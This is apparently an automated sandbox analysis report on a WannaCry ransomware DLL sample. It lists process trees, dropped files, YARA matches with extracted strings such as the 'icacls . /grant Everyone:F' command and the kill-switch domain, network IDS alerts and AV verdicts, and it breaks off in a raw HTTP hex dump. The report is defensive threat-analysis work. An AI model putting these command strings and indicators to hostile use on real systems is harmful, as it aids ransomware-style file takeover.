Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
4GDffePnzH

Overview

General Information

Sample Name:4GDffePnzH (renamed file extension from none to dll)
Analysis ID:670443
MD5:f5b0de1029349739596a8a6e72cbf8af
SHA1:8cdb34745e276febb9fbad3c30df4e919aa4d052
SHA256:8167a2eb7ddb581480903b49be8644972c638a83d878df59a34bc0dff0338170
Tags:dllOpenCTIBRSandboxedWormVirut
Infos:

Detection

Wannacry
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Detected Wannacry Ransomware
Malicious sample detected (through community Yara rule)
Yara detected Wannacry ransomware
Antivirus / Scanner detection for submitted sample
Tries to download HTTP data from a sinkholed server
Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Found evasive API chain (may execute only at specific dates)
Tries to evade debugger and weak emulator (self modifying code)
Changes security center settings (notifications, updates, antivirus, firewall)
Machine Learning detection for sample
Machine Learning detection for dropped file
Creates a thread in another existing process (thread injection)
Tries to resolve many domain names, but no domain seems valid
Drops executables to the windows directory (C:\Windows) and starts them
Contains functionality to detect sleep reduction / modifications
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Creates files inside the system directory
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Entry point lies outside standard sections
Enables debug privileges
AV process strings found (often used to terminate AV products)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Dropped file seen in connection with other malware
Queries disk information (often used to detect virtual machines)
Found large amount of non-executed APIs
Uses Microsoft's Enhanced Cryptographic Provider
May check if the current machine is a sandbox (GetTickCount - Sleep)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 4952 cmdline: loaddll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 4484 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 5912 cmdline: rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • mssecsvc.exe (PID: 1564 cmdline: C:\WINDOWS\mssecsvc.exe MD5: E1C47DA367CF7B7F607367F7DCA89CEE)
          • winlogon.exe (PID: 572 cmdline: winlogon.exe MD5: F9017F2DC455AD373DF036F5817A8870)
          • lsass.exe (PID: 612 cmdline: C:\Windows\system32\lsass.exe MD5: 317340CD278A374BCEF6A30194557227)
          • fontdrvhost.exe (PID: 708 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • fontdrvhost.exe (PID: 716 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • svchost.exe (PID: 724 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 804 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
            • backgroundTaskHost.exe (PID: 6224 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca MD5: B7FC4A29431D4F795BBAB1FB182B759A)
          • svchost.exe (PID: 788 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 852 cmdline: c:\windows\system32\svchost.exe -k rpcss -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 900 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • dwm.exe (PID: 984 cmdline: dwm.exe MD5: 70073A05B2B43FFB7A625708BB29E7C7)
          • svchost.exe (PID: 1020 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 316 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 416 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 948 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 960 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1132 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1200 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1272 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • rundll32.exe (PID: 388 cmdline: rundll32.exe C:\Users\user\Desktop\4GDffePnzH.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
    • rundll32.exe (PID: 4812 cmdline: rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
      • mssecsvc.exe (PID: 2012 cmdline: C:\WINDOWS\mssecsvc.exe MD5: E1C47DA367CF7B7F607367F7DCA89CEE)
        • tasksche.exe (PID: 6568 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 3233ACED9279EF54267C479BBA665B90)
  • mssecsvc.exe (PID: 5012 cmdline: C:\WINDOWS\mssecsvc.exe -m security MD5: E1C47DA367CF7B7F607367F7DCA89CEE)
  • svchost.exe (PID: 5132 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5236 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 4216 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • SgrmBroker.exe (PID: 6060 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)
  • svchost.exe (PID: 3364 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5664 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6160 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6428 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6708 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
4GDffePnzH.dllWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
  • 0x45604:$x1: icacls . /grant Everyone:F /T /C /Q
  • 0x353d0:$x3: tasksche.exe
  • 0x455e0:$x3: tasksche.exe
  • 0x455bc:$x4: Global\MsWinZonesCacheCounterMutexA
  • 0x45634:$x5: WNcry@2ol7
  • 0x3543b:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
  • 0x3028:$x7: mssecsvc.exe
  • 0x120ac:$x7: mssecsvc.exe
  • 0x1b3b4:$x7: mssecsvc.exe
  • 0x353a8:$x8: C:\%s\qeriuwjhrf
  • 0x45604:$x9: icacls . /grant Everyone:F /T /C /Q
  • 0x3014:$s1: C:\%s\%s
  • 0x12098:$s1: C:\%s\%s
  • 0x1b39c:$s1: C:\%s\%s
  • 0x353bc:$s1: C:\%s\%s
  • 0x45534:$s3: cmd.exe /c "%s"
  • 0x77a88:$s4: msg/m_portuguese.wnry
  • 0x326f0:$s5: \\192.168.56.20\IPC$
  • 0x1fae5:$s6: \\172.16.99.5\IPC$
  • 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
  • 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
4GDffePnzH.dllJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    4GDffePnzH.dllwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0x455e0:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x45608:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Windows\mssecsvc.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x3136c:$x3: tasksche.exe
    • 0x4157c:$x3: tasksche.exe
    • 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0x415d0:$x5: WNcry@2ol7
    • 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
    • 0xe048:$x7: mssecsvc.exe
    • 0x17350:$x7: mssecsvc.exe
    • 0x31344:$x8: C:\%s\qeriuwjhrf
    • 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xe034:$s1: C:\%s\%s
    • 0x17338:$s1: C:\%s\%s
    • 0x31358:$s1: C:\%s\%s
    • 0x414d0:$s3: cmd.exe /c "%s"
    • 0x73a24:$s4: msg/m_portuguese.wnry
    • 0x2e68c:$s5: \\192.168.56.20\IPC$
    • 0x1ba81:$s6: \\172.16.99.5\IPC$
    • 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
    • 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
    • 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
    • 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    C:\Windows\mssecsvc.exeWannaCry_Ransomware_GenDetects WannaCry RansomwareFlorian Roth (based on rule by US CERT)
    • 0x1bacc:$s1: __TREEID__PLACEHOLDER__
    • 0x1bb68:$s1: __TREEID__PLACEHOLDER__
    • 0x1c3d4:$s1: __TREEID__PLACEHOLDER__
    • 0x1d439:$s1: __TREEID__PLACEHOLDER__
    • 0x1e4a0:$s1: __TREEID__PLACEHOLDER__
    • 0x1f508:$s1: __TREEID__PLACEHOLDER__
    • 0x20570:$s1: __TREEID__PLACEHOLDER__
    • 0x215d8:$s1: __TREEID__PLACEHOLDER__
    • 0x22640:$s1: __TREEID__PLACEHOLDER__
    • 0x236a8:$s1: __TREEID__PLACEHOLDER__
    • 0x24710:$s1: __TREEID__PLACEHOLDER__
    • 0x25778:$s1: __TREEID__PLACEHOLDER__
    • 0x267e0:$s1: __TREEID__PLACEHOLDER__
    • 0x27848:$s1: __TREEID__PLACEHOLDER__
    • 0x288b0:$s1: __TREEID__PLACEHOLDER__
    • 0x29918:$s1: __TREEID__PLACEHOLDER__
    • 0x2a980:$s1: __TREEID__PLACEHOLDER__
    • 0x2ab94:$s1: __TREEID__PLACEHOLDER__
    • 0x2abf4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e2c4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e340:$s1: __TREEID__PLACEHOLDER__
    C:\Windows\mssecsvc.exeJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
      C:\Windows\mssecsvc.exewanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
      • 0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
      • 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
      C:\Windows\tasksche.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
      • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
      • 0xf4d8:$x3: tasksche.exe
      • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
      • 0xf52c:$x5: WNcry@2ol7
      • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
      • 0xf42c:$s3: cmd.exe /c "%s"
      • 0x41980:$s4: msg/m_portuguese.wnry
      • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
      • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
      • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
      Click to see the 2 entries

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      00000007.00000002.356337909.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
        00000004.00000000.258382588.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
          00000007.00000000.269440362.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
            00000004.00000000.262322206.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
              0000001F.00000000.340764115.000000000040E000.00000008.00000001.01000000.00000008.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
              • 0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
              • 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
              Click to see the 24 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              12.0.mssecsvc.exe.7100a4.1.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0xf4d8:$x3: tasksche.exe
              • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0xf52c:$x5: WNcry@2ol7
              • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0xf42c:$s3: cmd.exe /c "%s"
              • 0x41980:$s4: msg/m_portuguese.wnry
              • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              12.0.mssecsvc.exe.7100a4.1.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
              • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
              • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
              12.0.mssecsvc.exe.7100a4.1.unpackWin32_Ransomware_WannaCryunknownReversingLabs
              • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
              • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
              7.2.mssecsvc.exe.400000.0.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0x3136c:$x3: tasksche.exe
              • 0x4157c:$x3: tasksche.exe
              • 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0x415d0:$x5: WNcry@2ol7
              • 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              • 0x17350:$x7: mssecsvc.exe
              • 0x31344:$x8: C:\%s\qeriuwjhrf
              • 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0x17338:$s1: C:\%s\%s
              • 0x31358:$s1: C:\%s\%s
              • 0x414d0:$s3: cmd.exe /c "%s"
              • 0x73a24:$s4: msg/m_portuguese.wnry
              • 0x2e68c:$s5: \\192.168.56.20\IPC$
              • 0x1ba81:$s6: \\172.16.99.5\IPC$
              • 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
              • 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
              • 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
              • 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              7.2.mssecsvc.exe.400000.0.unpackWannaCry_Ransomware_GenDetects WannaCry RansomwareFlorian Roth (based on rule by US CERT)
              • 0x1bacc:$s1: __TREEID__PLACEHOLDER__
              • 0x1bb68:$s1: __TREEID__PLACEHOLDER__
              • 0x1c3d4:$s1: __TREEID__PLACEHOLDER__
              • 0x1d439:$s1: __TREEID__PLACEHOLDER__
              • 0x1e4a0:$s1: __TREEID__PLACEHOLDER__
              • 0x1f508:$s1: __TREEID__PLACEHOLDER__
              • 0x20570:$s1: __TREEID__PLACEHOLDER__
              • 0x215d8:$s1: __TREEID__PLACEHOLDER__
              • 0x22640:$s1: __TREEID__PLACEHOLDER__
              • 0x236a8:$s1: __TREEID__PLACEHOLDER__
              • 0x24710:$s1: __TREEID__PLACEHOLDER__
              • 0x25778:$s1: __TREEID__PLACEHOLDER__
              • 0x267e0:$s1: __TREEID__PLACEHOLDER__
              • 0x27848:$s1: __TREEID__PLACEHOLDER__
              • 0x288b0:$s1: __TREEID__PLACEHOLDER__
              • 0x29918:$s1: __TREEID__PLACEHOLDER__
              • 0x2a980:$s1: __TREEID__PLACEHOLDER__
              • 0x2ab94:$s1: __TREEID__PLACEHOLDER__
              • 0x2abf4:$s1: __TREEID__PLACEHOLDER__
              • 0x2e2c4:$s1: __TREEID__PLACEHOLDER__
              • 0x2e340:$s1: __TREEID__PLACEHOLDER__
              Click to see the 121 entries

              Sigma Signatures

              ⊘No Sigma rule has matched

              Snort Signatures

              Timestamp:8.8.8.8192.168.2.453539162811577 07/20/22-22:54:40.190457
              SID:2811577
              Source Port:53
              Destination Port:53916
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.48.8.8.860506532024291 07/20/22-22:52:14.267661
              SID:2024291
              Source Port:60506
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:104.17.244.81192.168.2.480497602031515 07/20/22-22:52:14.371010
              SID:2031515
              Source Port:80
              Destination Port:49760
              Protocol:TCP
              Classtype:Misc activity
              Timestamp:35.205.61.67192.168.2.480498632037771 07/20/22-22:56:08.841413
              SID:2037771
              Source Port:80
              Destination Port:49863
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.4104.17.244.8149859802024298 07/20/22-22:54:21.734006
              SID:2024298
              Source Port:49859
              Destination Port:80
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:104.17.244.81192.168.2.480498592031515 07/20/22-22:54:21.772136
              SID:2031515
              Source Port:80
              Destination Port:49859
              Protocol:TCP
              Classtype:Misc activity
              Timestamp:192.168.2.4104.17.244.8149760802024298 07/20/22-22:52:14.335957
              SID:2024298
              Source Port:49760
              Destination Port:80
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.48.8.8.860418532024291 07/20/22-22:54:21.668441
              SID:2024291
              Source Port:60418
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Multi AV Scanner detection for submitted file
              Source: 4GDffePnzH.dllMetadefender: Detection: 74%Perma Link
              Source: 4GDffePnzH.dllReversingLabs: Detection: 92%
              Antivirus / Scanner detection for submitted sample
              Source: 4GDffePnzH.dllAvira: detected
              Antivirus detection for URL or domain
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/URL Reputation: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comURL Reputation: Label: malware
              Antivirus detection for dropped file
              Source: C:\Windows\mssecsvc.exeAvira: detection malicious, Label: W32/Virut.Gen
              Source: C:\Windows\tasksche.exeAvira: detection malicious, Label: TR/FileCoder.AU
              Multi AV Scanner detection for dropped file
              Source: C:\Windows\mssecsvc.exeReversingLabs: Detection: 100%
              Source: C:\Windows\tasksche.exeMetadefender: Detection: 85%Perma Link
              Source: C:\Windows\tasksche.exeReversingLabs: Detection: 95%
              Machine Learning detection for sample
              Source: 4GDffePnzH.dllJoe Sandbox ML: detected
              Machine Learning detection for dropped file
              Source: C:\Windows\mssecsvc.exeJoe Sandbox ML: detected
              Source: C:\Windows\tasksche.exeJoe Sandbox ML: detected
              Source: 7.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
              Source: 7.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 12.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 12.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
              Source: 4.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
              Source: 31.2.tasksche.exe.400000.0.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
              Source: 31.0.tasksche.exe.400000.0.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
              Source: 7.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/FileCoder.AU
              Source: 12.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 12.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/FileCoder.AU
              Source: C:\Windows\tasksche.exeCode function: 31_2_004018B9 CryptReleaseContext,31_2_004018B9
              Source: 4GDffePnzH.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\System32\TileDataRepository.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\system32\Windows.StateRepository.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\SYSTEM32\usermgrcli.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\System32\Windows.StateRepositoryPS.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\system32\StateRepository.Core.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\System32\usermgrproxy.dllJump to behavior

              Networking

              barindex
              Tries to download HTTP data from a sinkholed server
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jul 2022 20:52:14 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72de94559f8968f8-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 